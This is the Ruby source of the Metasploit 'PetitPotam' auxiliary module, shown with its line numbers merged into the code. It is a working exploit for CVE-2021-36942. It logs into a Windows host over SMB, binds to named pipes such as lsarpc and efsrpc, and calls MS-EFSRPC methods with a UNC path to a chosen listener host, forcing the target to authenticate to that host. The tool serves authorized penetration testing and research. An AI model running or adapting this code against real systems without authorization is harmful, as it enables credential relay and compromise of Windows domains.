Path: blob/master/modules/auxiliary/scanner/dcerpc/petitpotam.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'windows_error'6require 'ruby_smb'7require 'ruby_smb/error'8require 'ruby_smb/dcerpc/lsarpc'9require 'ruby_smb/dcerpc/efsrpc'1011class MetasploitModule < Msf::Auxiliary1213module EfsrpcOverLsarpc14include RubySMB::Dcerpc::Efsrpc1516UUID = RubySMB::Dcerpc::Efsrpc::LSARPC_UUID17end1819include Msf::Exploit::Remote::DCERPC20include Msf::Exploit::Remote::SMB::Client::Authenticated21include Msf::Auxiliary::Scanner22include Msf::Auxiliary::Report2324METHODS = %w[EfsRpcOpenFileRaw EfsRpcEncryptFileSrv EfsRpcDecryptFileSrv EfsRpcQueryUsersOnFile EfsRpcQueryRecoveryAgents].freeze25# The LSARPC UUID should be used for all pipe handles, except for the efsrpc one. For that one use26# Efsrpc and it's normal UUID27PIPE_HANDLES = {28lsarpc: {29endpoint: EfsrpcOverLsarpc,30filename: 'lsarpc'.freeze31},32efsrpc: {33endpoint: RubySMB::Dcerpc::Efsrpc,34filename: 'efsrpc'.freeze35},36samr: {37endpoint: RubySMB::Dcerpc::Lsarpc,38filename: 'samr'.freeze39},40lsass: {41endpoint: RubySMB::Dcerpc::Lsarpc,42filename: 'lsass'.freeze43},44netlogon: {45endpoint: RubySMB::Dcerpc::Lsarpc,46filename: 'netlogon'.freeze47}48}.freeze4950def initialize51super(52'Name' => 'PetitPotam',53'Description' => %q{54Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods.55},56'Author' => [57'GILLES Lionel',58'Spencer McIntyre'59],60'References' => [61[ 'CVE', '2021-36942' ],62[ 'URL', 'https://github.com/topotam/PetitPotam' ],63[ 'URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451' ]64],65'License' => MSF_LICENSE66)6768register_options(69[70OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),71OptEnum.new('PIPE', [ true, 'The named pipe to use for triggering', 'lsarpc', PIPE_HANDLES.keys.map(&:to_s) ]),72OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])73]74)75end7677def run_host(_ip)78begin79connect80rescue Rex::ConnectionError => e81fail_with(Failure::Unreachable, e.message)82end8384begin85smb_login86rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e87fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")88end89report_service(service_data)9091begin92@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")93rescue RubySMB::Error::RubySMBError => e94raise StandardError, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})."95end9697handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]98fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args99100# rename tree_file101@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)102handle = dcerpc_handle(103handle_args[:endpoint]::UUID,104handle_args.fetch(:version, '1.0'),105handle_args.fetch(:protocol, 'ncacn_np'),106["\\#{handle_args[:filename]}"]107)108vprint_status("Binding to #{handle} ...")109@pipe.bind(110endpoint: handle_args[:endpoint],111auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,112auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT113)114vprint_status("Bound to #{handle} ...")115116if datastore['METHOD'] == 'Automatic'117methods = METHODS118else119methods = [datastore['METHOD']]120end121122methods.each do |method|123vprint_status("Attempting to coerce authentication via #{method}")124response = efs_call(125method,126file_name: "\\\\#{datastore['LISTENER']}\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"127)128if response.nil?129unless method == methods.last130# rebind if we got a DCERPC error (as indicated by no response) and there are more methods to try131vprint_status("Rebinding to #{handle} ...")132@pipe.close133@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)134@pipe.bind(135endpoint: handle_args[:endpoint],136auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,137auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT138)139end140141next142end143144error_status = response.error_status.to_i145win32_error = ::WindowsError::Win32.find_by_retval(error_status).first146case win32_error147when ::WindowsError::Win32::ERROR_BAD_NETPATH148# this should be the response even if LISTENER was inaccessible149print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')150break151when nil152print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}")153else154print_status("Server responded with #{win32_error.name} (#{win32_error.description})")155end156end157end158159def cleanup160if @pipe161@pipe.close162@pipe = nil163end164165if @tree166@tree.disconnect!167@tree = nil168end169170super171end172173def efs_call(name, **kwargs)174request = RubySMB::Dcerpc::Efsrpc.const_get("#{name}Request").new(**kwargs)175176begin177raw_response = @pipe.dcerpc_request(178request,179auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,180auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT181)182rescue Rex::Proto::DCERPC::Exceptions::Fault => e183print_error "The #{name} Encrypting File System RPC request failed (#{e.message})."184return nil185end186187RubySMB::Dcerpc::Efsrpc.const_get("#{name}Response").read(raw_response)188end189190def service_data191{192host: rhost,193port: rport,194host_name: simple.client.default_name,195proto: 'tcp',196name: 'smb',197info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"198}199end200end201202203